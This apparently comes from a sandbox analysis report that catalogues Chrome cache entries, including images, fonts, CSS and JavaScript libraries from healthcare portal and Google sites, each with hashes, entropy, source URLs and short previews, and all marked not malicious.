...Sy....,8.>I..o.?d.oNiz}.W..nO$..5D.S........u!...........i.jT&..B.me.WGM...xr.>........bU.Ky...M{......+l.......4f5io...].3......x.2.-1..-.G5.nw@......d...%....5kq.....8..j.d....,.+.....Q...3.rc...Q......h....^.....\\.NA.U.O>T&...K6.s..koq....q.>U...'9..3..i..{.E....&pF3X.`NMO.X.1...b.j.+...9....N.Q.y#...b.R.;..fT..n..G8..>X..99l2..14..&..Kuy..;..k....)[...=-%....4/...7/.n.....[.......

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	6225
Entropy (8bit):	5.976934819783072
Encrypted:	false
SSDEEP:	96:+R2K3Z4n7tyVwip82hezk6227gLFoXhu1XuE20ot+pVY3YptWDzOzgXK3Zx:ql3KnxyGGMzb7noR20NTww33
MD5:	2BD5C073A88B83ED74DB88282A56DDFB
SHA1:	D0EBFC376F8C6A44A8D4CD216817DCD7D0C33650
SHA-256:	AB5C23A05E39DEED14D9D8262B0DCE9F024F86105A27196CAD37D14A3F516E09
SHA-512:	5C6C4A92E93FC0F6A675658CC84F6187FDEBD3EEE94EFD07E24658736CBA598F3BC7156B19834B13FB44C1D43FCB7DF9FCCA7F0A453037E30DA76BA8F4B23B89
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/i/productlogos/translate/v14/24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><defs><path d="M21.5 5h-9.17L11 1H2.5C1.68 1 1 1.68 1 2.5v15c0 .83.68 1.5 1.5 1.5h9.17L13 23h8.5c.82 0 1.5-.68 1.5-1.5v-15c0-.83-.68-1.5-1.5-1.5z" id="a"/></defs><clipPath id="b"><use overflow="visible" xlink:href="#a"/></clipPath><g clip-path="url(#b)"><image height="31" opacity=".2" overflow="visible" transform="translate(3 1)" width="29" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAfCAYAAAAbW8YEAAAACXBIWXMAAAsSAAALEgHS3X78AAAA GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABQBJREFUeNq8V8tu20YUvXdm+LCk RKiMwI1TFEXhVZJd1gW66xekv9DPqPsvXdU/UaDroJskKy+CInCcGpKtFy2SM/f2DEXZia0odtKW AkFJ8zhzzn3S0Ycvps+79EMDbj3Yfgv4EM+XTN/fEOb3Zg3AXmq7j64D5/e/x/EfzZMnX5jx+LFZ LLyp6yNDOzskYb6RubFdpbdvKUl2Jc+d9PvP5dmzUyH6TVoYXQOq+H5g9vb+cONsO9maLpIyyZPU kZNAppmh9Vpg5kSXwCSVJ5/Vi/r8Tl73y2F9ePidJ3oaga+B4vkUgF+6EW1ndz11gvNdDdL1bDN

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.322445490340781
Encrypted:	false
SSDEEP:	3:CUdSkL1pse:XSk/se
MD5:	6D22E4F2D2057C6E8D6FAB098E76E80F
SHA1:	B80B11203D97FE01C5597CA3BE70406EA48F5709
SHA-256:	AFE0DCFCA292A0FAE8BCE08A48C14D3E59C9D82C6052AB6D48A22ECC6C48F277
SHA-512:	95DD0E4944B1541A9BE48A60A1A105FCFA0D69DD215ABAA9C1771ADECC5EE0C0FE91D0EB367B6D46A4F8B2E06E6FB962D56DFC1C53F1F62CC8B314710628CB1E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	28616
Entropy (8bit):	4.963031067794239
Encrypted:	false
SSDEEP:	192:mZVfMggTIwZQuecdTfDTcO6MUd1W73CxSbolYWK1cGUoeB7LPkQM/n9QoS8qPbH9:afb/wZ0cdYOQ99QIqf9kRkyo7UaGqU
MD5:	0699022559A6587C07CDB16CEA012C12
SHA1:	BD552C24D7F4F47480E163FC49792701E87ADDED
SHA-256:	965D6150DEF57F464D315410D44EE3BF2A515B807059C624E4E2274CAE0F9976
SHA-512:	A5B4DA81E87115DDAAA120AFDE2E7D9013845F60385D7BA150BFDE22D2727D4E8BEE13B73BC2223AD7CF91A91CFAC88929202EF2B54FAA1463E721B8746D26C7
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-pay.css
Preview:	/* Pay Bill Styles Start */...h-wrapper .mt3 {.. margin-top: -3px;..}...h-wrapper .header-wrapper.fixednav-wrapper .healow-navbar.paynavbar {.. padding: 12px 0;..}...h-wrapper .paybill-wrapper { .. padding-top: 95px;..}...h-wrapper .paybill-wrapper.pt70 { .. padding-top: 70px;..}...h-wrapper .paybill-wrapper .card.paycard {.. border: 1px solid #DCEFF4;.. border-radius: 15px;.. box-shadow: 0px 3px 10px #90bbc533;.. margin-bottom: 40px;..}...h-wrapper .paybill-wrapper .card.paycard .card-body {.. padding: 25px 30px; ..}...h-wrapper .paybill-wrapper .card.paycard .card-body.onetime-bg { .. background: url('../img/pay-bill-graphics.png') no-repeat right bottom;..}...h-wrapper .paybill-wrapper .card.paycard .payment-card {.. padding: 20px 20px 25px;.. border: 1px solid #E6E9ED;.. background: #ffffff;.. border-radius: 15px;..}.....h-wrapper .paybill-wrapper .card.paycard .balnace-wrapper{.. padding: 13px 13px 25px 20px;.. background

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 42 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	910
Entropy (8bit):	7.7455040862049085
Encrypted:	false
SSDEEP:	24:do/cXeTrHaRodw+UWNhsGzRSIhAugV7unmH4ifkx08v5:K/cXeqadLUWNhNzRSMXgV7unbisx08B
MD5:	EFA6BB2BFE459BC6F4BDAFA3DB0383F6
SHA1:	52D15CE52FE50643E542C17812DE43F4ED1B6EE0
SHA-256:	6318394F737C66F0E2CCFCD88E3935C6667633A1B95FA29FBA2B75431D55EEF2
SHA-512:	E23C04D8997F5C2F92070E09261B7EE50D9DF8753F45CF66F604F0874FFA8D99E947C97C528EC02A2C3FBE8E43D840B343A7D0225532980D5DA95031216415B7
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png
Preview:	.PNG........IHDR............`"....UIDATx..T...=.Mm......&[....Sl..m.m....U....;.uf..frrr...v...U)...).....2Q..`.y....U.9..;..0.^........B.......].h.^..... . L3....jQw..vB.D....<..P.4..\|.B....d..?.....Qv.....Dv..$...._.\|..@........k....`..JG...$..T.y\|T.......v.iH...yc6'...%..&.w.oI.ZS{..!6A@.Y.....a....U]..:...g-......01F........Q...k#..G\....~.+....z.>....F...}1[..~.9..r[.?..9......2~....e."1.).}[.WW.{.r...\|D..<7..t.M.`..S...8.ab..F ....n..S.:n.>1(g.p$.:k1..6...Y..@.5.8.0y.....R...;.K\. 0p...g.,r.E...............=.....!.^..Y!..D.Z.....aV.....;F.4...!.`^.L.VQ.....&...d....O.\...I).!1....{......K.f.e ....L......~.%IY(..Y.....NeA...?.^..2.C..^........P....)T.&?.zm.Sl.b..l.D...%.{.B>X{.9Y..M..:.)......EK..b.......}....\|.o..].....GH?..3F.B(.:.....AdA........Z... .L....)..@?...f.F....6......u..oQfMC.....OC.1[3..j..j.G...&..D`........@>...g....IEND.B`.

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	6225
Entropy (8bit):	5.976934819783072
Encrypted:	false
SSDEEP:	96:+R2K3Z4n7tyVwip82hezk6227gLFoXhu1XuE20ot+pVY3YptWDzOzgXK3Zx:ql3KnxyGGMzb7noR20NTww33
MD5:	2BD5C073A88B83ED74DB88282A56DDFB
SHA1:	D0EBFC376F8C6A44A8D4CD216817DCD7D0C33650
SHA-256:	AB5C23A05E39DEED14D9D8262B0DCE9F024F86105A27196CAD37D14A3F516E09
SHA-512:	5C6C4A92E93FC0F6A675658CC84F6187FDEBD3EEE94EFD07E24658736CBA598F3BC7156B19834B13FB44C1D43FCB7DF9FCCA7F0A453037E30DA76BA8F4B23B89
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/i/productlogos/translate/v14/24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><defs><path d="M21.5 5h-9.17L11 1H2.5C1.68 1 1 1.68 1 2.5v15c0 .83.68 1.5 1.5 1.5h9.17L13 23h8.5c.82 0 1.5-.68 1.5-1.5v-15c0-.83-.68-1.5-1.5-1.5z" id="a"/></defs><clipPath id="b"><use overflow="visible" xlink:href="#a"/></clipPath><g clip-path="url(#b)"><image height="31" opacity=".2" overflow="visible" transform="translate(3 1)" width="29" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAfCAYAAAAbW8YEAAAACXBIWXMAAAsSAAALEgHS3X78AAAA GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABQBJREFUeNq8V8tu20YUvXdm+LCk RKiMwI1TFEXhVZJd1gW66xekv9DPqPsvXdU/UaDroJskKy+CInCcGpKtFy2SM/f2DEXZia0odtKW AkFJ8zhzzn3S0Ycvps+79EMDbj3Yfgv4EM+XTN/fEOb3Zg3AXmq7j64D5/e/x/EfzZMnX5jx+LFZ LLyp6yNDOzskYb6RubFdpbdvKUl2Jc+d9PvP5dmzUyH6TVoYXQOq+H5g9vb+cONsO9maLpIyyZPU kZNAppmh9Vpg5kSXwCSVJ5/Vi/r8Tl73y2F9ePidJ3oaga+B4vkUgF+6EW1ndz11gvNdDdL1bDN

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29911), with no line terminators
Category:	downloaded
Size (bytes):	29911
Entropy (8bit):	5.251715892949678
Encrypted:	false
SSDEEP:	768:utCYCGyCCCfCSfiB+e3tPCkKCFCWCxCGCGCdYK2Jx:z+wm
MD5:	5CA0D16C6F9C8FE726A0C2AB38657A65
SHA1:	40985DC7E95F477DA06DF3AA96BE3879E82E563E
SHA-256:	BC00798E3FEB5CA6223591C6DFA860ADF4914E641286A6926D2DB0DDED228EE0
SHA-512:	F1ACEED3A185DB5678C26389BEB694456B06541DEC91354E408BFD3767FF211570375DB1DE504DE7870082DEBBAA10382B75195CF49869116CF81B3D687573FA
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951
Preview:	!function(e){function t(t){for(var r,a,c=t[0],l=t[1],u=t[2],d=0,f=[];d<c.length;d++)a=c[d],o[a]&&f.push(o[a][0]),o[a]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);f.length;)f.shift()();return i.push.apply(i,u\|\|[]),n()}function n(){for(var e,t=0;t<i.length;t++){for(var n=i[t],r=!0,c=1;c<n.length;c++){var l=n[c];0!==o[l]&&(r=!1)}r&&(i.splice(t--,1),e=a(a.s=n[0]))}return e}var r={},o={51:0,47:0,50:0,57:0,59:0},i=[];function a(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,a),n.l=!0,n.exports}a.m=e,a.c=r,a.d=function(e,t,n){a.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.t=function(e,t){if(1&t&&(e=a(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(a.r(n),Object.defi

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1713
Entropy (8bit):	4.97930270967553
Encrypted:	false
SSDEEP:	48:DbWgEr6bT3pTHLpzhSQJTAeMc62K3DHLDa4NPRM:Fj4QE2ENZu
MD5:	3B83C71F729CDECFA844ED78CA6DCD8F
SHA1:	BEA7FC2FC189414E64401B26D6857DE70646B359
SHA-256:	E5753D24097DFE65ECA0A737FB09CF983C0B09BD3754CA963E1F1BCE53D82C51
SHA-512:	454542C14A653782B6AA152BD90CC66860FFFCD0F21EB943101FEA277E247470533CD95805F7900DAA7199975D9B624ADE66E2DA05ADA59E623096B629930325
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/bold-builder-light/bt-bb-light.js
Preview:	(function( $ ) {......var set_responsive = function() {....var width = Math.max( document.documentElement.clientWidth, window.innerWidth \|\| 0 );....var res = 'xxl';....if ( width <= 1400 ) res = 'xl';....if ( width <= 1200 ) res = 'lg';....if ( width <= 992 ) res = 'md';....if ( width <= 768 ) res = 'sm';....if ( width <= 480 ) res = 'xs';........$( '[data-btbbl-override-class]' ).each(function() {.....var override_classes = $( this ).data( 'btbbl-override-class' );.....for ( var prefix in override_classes ) {......if ( override_classes[ prefix ][ res ] !== undefined ) {.......var new_class = prefix + override_classes[ prefix ][ res ];......} else {.......var new_class = prefix + override_classes[ prefix ][ 'xxl' ];......}......$( this ).removeClass( override_classes[ prefix ][ 'current_class' ] );......$( this ).addClass( new_class );......override_classes[ prefix ][ 'current_class' ] = new_class;......//$( this ).data( 'override_classes', override_classes );.....};....});........$( '

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 15 x 14
Category:	dropped
Size (bytes):	84
Entropy (8bit):	5.3804526215218225
Encrypted:	false
SSDEEP:	3:CvflndVyl0xluna+GYPDPkE:8lndJjoKYLP/
MD5:	B771DBCC3798D2B77E8F1413F6D06CFE
SHA1:	82B9FE6114481FEE01452C671CBEF7397E435A5D
SHA-256:	9A57B05E8842CBEC0A4A757360DD1994FA3F754E925D6F1C4B643A4A0BB75F89
SHA-512:	B3C3299A729673C0ABFE2B5CAC2965B6B0DAD2F31EA990593C68DC1493F355FDE3D4505A99DEDDFBEA36920EB505D00423ADE3F6C0E41B5A39CA027001268AA9
Malicious:	false
Reputation:	low
Preview:	GIF89a...........3f....!.......,..........%\.......MRho.N./l.....qP.d..j.5S...w..;

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1842
Entropy (8bit):	7.844880044441599
Encrypted:	false
SSDEEP:	48:CpBmStVyR9tjRq82OyNFQVYhMyTkRJO05Z:OuRP9q82OyNFQVY3CJOaZ
MD5:	C69C796362406F9E11C7F4BF5BB628DA
SHA1:	E489CE95AB56208090868882113D7416ABF46775
SHA-256:	4DAC0026FBFA2615DCE30C0AF12830863FE885F84387A0147B9E338F548D5D82
SHA-512:	D3AD560ED0FD29BE7D2CC434694F09E5A6FBEA8B29C0611AECB54A1B73B4D722C53F42A19DAE9E3D5D358444E50FB8FFFBC39D67CE751BDBC8C861F6F95D3162
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Uw.X...........b.....pb.Sfff.6....3o.wvF.(..r.u..9_\|...Is%..D......Xz.c....;...y;.....&#.l......H...X..s..]}..5`aZ..D.m....uk.c..i.\|.H... I#yB.7.0..._E.".h..Xt.....9.4.......0:y.....F.ua^.\|.....K..G..b&2;.z."...B/l$..s3.@..G..Z..`...p..EUU.hni...aZZZT......."...H.Z.....H....<..g.......U.........f."../...Gg...$....<YTU.p.....ND"$^.5!..@.8....Nhj.f.]......"..B..i..,...oh.5.....F.L........;"C...bO....Qa.G..!.....4.._....l..N.].....g...PoD....1r{......X.1..!.....}.o....=..^6i.{.......9`i...\~...Dyy9..`..D...n>.....7:.....1...t.(.D.=>....DH.0...K.Mx....,....$..1.1.P.T.............@'..6...Kv..e...D.?.X...k.2..\|l.$m&...K/.c......Vn....V ...`I......8al.zT.=..+Wr..%?.X.`..g....,..[...nc..:!..$.@2..3.\|....sB...&...a.<..}).zX.Q.)5....X.1..bk.....Vn...C#.c......mx.=.[...,.r.G....OMS....e.06.#.+..8Fne......B!...%..,........W...*.F..x#.Vv....I..c(...x5..u.....`hP.......&>......8...D#Cg.v.{Hyb.v..8.K7X`.....\|O.z.

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1718
Entropy (8bit):	4.597214602401641
Encrypted:	false
SSDEEP:	24:v0Nw0hjm0M3ZGwgbb6qSicVI2QWTF3IZcVkTFxchwQUm8r:vKwl5wXbbsichBTmpTXbSW
MD5:	A232721A254DE00CAF73D5A16A0B78B3
SHA1:	6EB91BFB2523D64277EF4BB69AB537BA14BE0854
SHA-256:	6F173FBDE897C4B5E403C91D99BFC6D671EFEA799450CA3B11C0D1BCCE2DDFC1
SHA-512:	A6613C9B2D885D3F1DE9A7BFF2344D2D2ABD3116CC79272C1D7EE6E5F12EF2AEF2FB236EEA8822A4D18884133BFDBBBDBE7DA21196596C1F48354E220AF3AF08
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick.css
Preview:	/* Slider */..slick-slider.{. position: relative;.. display: block;.. -moz-box-sizing: border-box;. box-sizing: border-box;.. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. user-select: none;.. -webkit-touch-callout: none;. -khtml-user-select: none;. -ms-touch-action: pan-y;. touch-action: pan-y;. -webkit-tap-highlight-color: transparent;.}...slick-list.{. position: relative;.. display: block;. overflow: hidden;.. margin: 0;. padding: 0;.}..slick-list:focus.{. outline: none;.}..slick-list.dragging.{. cursor: pointer;. cursor: hand;.}...slick-slider .slick-track,..slick-slider .slick-list.{. -webkit-transform: translate3d(0, 0, 0);. -moz-transform: translate3d(0, 0, 0);. -ms-transform: translate3d(0, 0, 0);. -o-transform: translate3d(0, 0, 0);. transform: translate3d(0, 0, 0);.}...slick-track.{. position: relative;. top: 0;. lef

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=bidswitch
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7988, version 1.0
Category:	downloaded
Size (bytes):	7988
Entropy (8bit):	7.975810214387962
Encrypted:	false
SSDEEP:	192:WBx8OcsqAOrgPBeIvTqZ1QBzk6ZXCJqUICr1kBGiq7nLjZj:+Y0OrgP9EEpZyzv0kx
MD5:	087457026965F98466618A478C4B1B07
SHA1:	00B024CCB35E3694DE662D180D6EA7F56DE6D654
SHA-256:	B93B9165269362989E2855D0BF0AE232D7193A45C43627B2D03B26D7EB98263B
SHA-512:	00240312FE8855DA22D687B615D3E32DB64A5BCE39ACDB5B2AFBECE1FCCF85334DE8CA603EBF093105EB6E2B3ABADB32231C43F19249D48C934BD434060379E6
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2
Preview:	wOF2.......4......?@............................. .0.`..T..t...6..6.$..h. ..T.....1.".8. ...E.`D....2.5T.P..jBh.vcu.0V...]......._.TA..Z.y-.\|?..#4.I.O.......I54.fU!s.$2.f..B.+.....o{.W.X5..H..E..Fj6.:.).cx~n......ellcY.........0.Q#.C.J..h.....h.@}.F....+....B.4T...;..u......+yS.)....Qfe.....V....d..l...X....$G.j{.....2..N..:rN...~..NaV...NO.Y...s..8$.@.'9..GR.V.)..-.S....'%..S..x...l.u..U.:.E.T....{.9.."...).KT@k{.c1.E.3..Lp.Y...6..rM..B8.9...UD+s.^-.R...63=..e..(..-..........b..!n.h.k.......e_j......=..}u.X`.m....U..S.g2.l...gr{...fo.%.6..0.,.&....#..&cMO..rN......9..f>.g..st..........,.]:.4.t\|i..........}..X._..\|.......v.....P..vva..6.c.R.E..9..?.i...3j...".{....&f...a...`..A.8..a.f.;..{.........1........^Z..`......!.2.....S}1...eM....5\|...,...+.'...}G%\..e.......'.....j....Nk..v.......1.O8.^\|.&-.........U.'E..s..N.s...d.B(...t.......H.W,..:....0.....[......y...,S.."..[...[.@...6.N-....s.d....K.....pW..?`../3....{5.....5....U.o\.+RP..%;...R8.

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2780
Entropy (8bit):	7.896659456918859
Encrypted:	false
SSDEEP:	48:U1aFeTmb2gTp7bHYJMzaPqVFaMyS0YUNEUugZ2OcZvw41HH8yhhyZZw30:saET0z7haPuFJY2r3OwE
MD5:	A0EFD0193484EC598203294884D1BC66
SHA1:	19CF933651A666BDF79219A1B5A3E623D631A5A5
SHA-256:	4B683F944B41B1D9A3308C2D55043C032EA061633281DE3B0E25511D04AC4804
SHA-512:	8786A10BE7392DBE3564BE21EBAE0C8067D90F07CE4CA3FE100530E0829E490BAE9F5E9B0A2BC11EE61B04CFBC65A58E0E46AA99CFB54685DD45026B310EA5D4
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/download-app-landing.png
Preview:	.PNG........IHDR...K...<......iG.....sBIT....\|.d.....IDATx^.{PT.........>.]l...E..:58..M.D.OX..T...T.j..`..\|.GD...M.t,k....V:U.F...!.hF....>T.c...\..........8.......w....!.}.L.H..}F....$C..0~...M....3.....S.S....!o..}.5.ajQ..3....Z...{.+9.p..2e.xHL..#F.e..~.&..yOb.=.-Y:.[...........0...V...Z...z.+91s5!.9;...9..j\..&,...k.....^..R...i.\..t0..UV~X.p..z..._..I.vc.........G...U.z..a,..C..2.V...F....9.lX../O"A...........eK7.?[i...z.d.EG>.....g'.{bzS+.......GVU}p.U.T.lX....J....EuNM..y..32^....~......zJ...1..'....r0b...l.B..!.....UP.........n.,...zh.9.a...G.T.{..,Xf.....v.`...K.\.0..C.....74.L6.K....~V.}.V."......c........'.V..>.....+../...0p..Y..R...L...f.{...1c.....zL.28hytD.5o...B..j......U..aq...".U....k1G..a.,..84g9..@..]8.f..zk..?..$.1...r...2[...q.6.`qm.Qs.NlWJ..<.X.{.\|w.:...1j~......,.......U.~.Lt Y.s.ps17V.> .-{....+.~..+4Pa9....V........ ..v.......E#8....]...kr..V.....2..8.......`J.$9...e.W.Q/..ej.]G...a.,w.~.Pc..[....".{..Y...&...j.AS.

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2134)
Category:	downloaded
Size (bytes):	13188
Entropy (8bit):	5.4223896155104025
Encrypted:	false
SSDEEP:	384:i11kqRm4UjryX2DfatZrT80NCGz5r2zItrX:iEqRm4cy338m7d
MD5:	7C96A5F11D9741541D5E3C42FF6380D7
SHA1:	D3FA2564C021CF730E58FFDDB138CF6B57ED126E
SHA-256:	81016AC6BE850B72DF5D4FAA0C3CEC8E2C1B0BA0045712144A6766ADFAD40BEE
SHA-512:	23C162A2E268951729B580E5035AD6CA9969CFCC5CE58A220817B912E76B38BE6C29C3CA7680CB4E8198863D95A72EA65BD06FF7189B5C8475E4C1CE501AEAB1
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js
Preview:	/. Copyright 2016 Small Batch, Inc.. . Licensed under the Apache License, Version 2.0 (the "License"); you may not. * use this file except in compliance with the License. You may obtain a copy of. * the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT. * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the. * License for the specific language governing permissions and limitations under. * the License.. /./ Web Font Loader v1.6.26 - (c) Adobe Systems, Google. License: Apache 2.0 */(function(){function aa(a,b,c){return a.call.apply(a.bind,arguments)}function ba(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.app

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4632), with no line terminators
Category:	downloaded
Size (bytes):	4632
Entropy (8bit):	5.083081916706679
Encrypted:	false
SSDEEP:	96:Rc3o7hWfs7Y0OLbjtov88FI+UpnqInzXg:63o7hWfsM0OLbjqFJ6s
MD5:	6294EFBDFED15FD862E7AF820A8DF3D4
SHA1:	9AB29A15E19EF8EC5BAA0ECD4C7A74CE18A7EFC5
SHA-256:	DDD834BE7A742D4193E2DA1E1A0726D2A9C644D9AD3BB8466E6D49D438BF3B94
SHA-512:	DCFAD8EBF49C33432954FCA913A0F92FA3D43E181CE515C88758096A18A18B0465492F1D39E39A45748BBB23979D32D2D85531A5D781C8B5F222EFE8FB525E8A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937
Preview:	.acf-block-homepage-hero__decor{top:0;right:0;width:100vw;border-bottom-right-radius:5.625rem}@media (min-width:992px){.acf-block-homepage-hero__decor{width:calc(50vw + 5rem);right:calc(50% - 5rem);border-bottom-right-radius:10rem}}@media (min-width:1200px){.acf-block-homepage-hero__decor{width:calc(50vw + 10rem);right:calc(50% - 10rem);border-bottom-right-radius:13.75rem}}.acf-block-homepage-hero__decor--h-80{height:80%}@media (min-width:992px){.acf-block-homepage-hero__decor--h-80{height:100%}}.acf-block-homepage-hero__circle{left:-8rem}@media (min-width:576px){.acf-block-homepage-hero__circle{left:calc(50% - 30rem)}}@media (min-width:768px){.acf-block-homepage-hero__circle{left:calc(50% - 40rem)}}@media (min-width:1200px){.acf-block-homepage-hero__circle{left:calc(50% - 50rem)}}.acf-block-homepage-hero__circle{width:16rem;bottom:-6.375rem}@media (min-width:576px){.acf-block-homepage-hero__circle{width:20.70312rem;bottom:-9.15625rem}}@media (min-width:768px){.acf-block-homepage-hero_

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2577
Entropy (8bit):	7.904531504624332
Encrypted:	false
SSDEEP:	48:ZeiDUVRVFr0s+W/54TaaEllC8V4kwZc3z1RAaFJPQ0GvhybFKvw76:ZfUV/F0s+Q54OaEllCnq3z1R3F9ZGvhF
MD5:	3C907035425AFA74D6B6D7E02A28455B
SHA1:	7A18A6AFD5DAABFE1B20A574DA34C6038DEB0C2F
SHA-256:	4C07BDA50F2AAEA31484EB5B0FED013EE1B835999381792B3672CF01C013A4A3
SHA-512:	C5371C9F6AE2C2569DA37A7A4EADAA6365D890786292F7982D97BFC989A9389FEF422BA77C62546E4DE2416A676CB9656B38F6A4ADB5603671C832C555ED6FF6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.}T.W...d&........V.j..Q..B..@.q.E.......V..Ak]..Z]k.j.u..v?Z..2(.`..GwU. ..@.af2;/.!N2.I..c...#......... ..{.W.(...7e...5.u..c.B.J(..s". ....m.....J.K.N........E...(G)D"....I...s.z...#..C.....R.jT..0.)...;..`...~vT......$4.\..Rw..Jg+G.tC..G......i.$<r.....PL...8E...+e 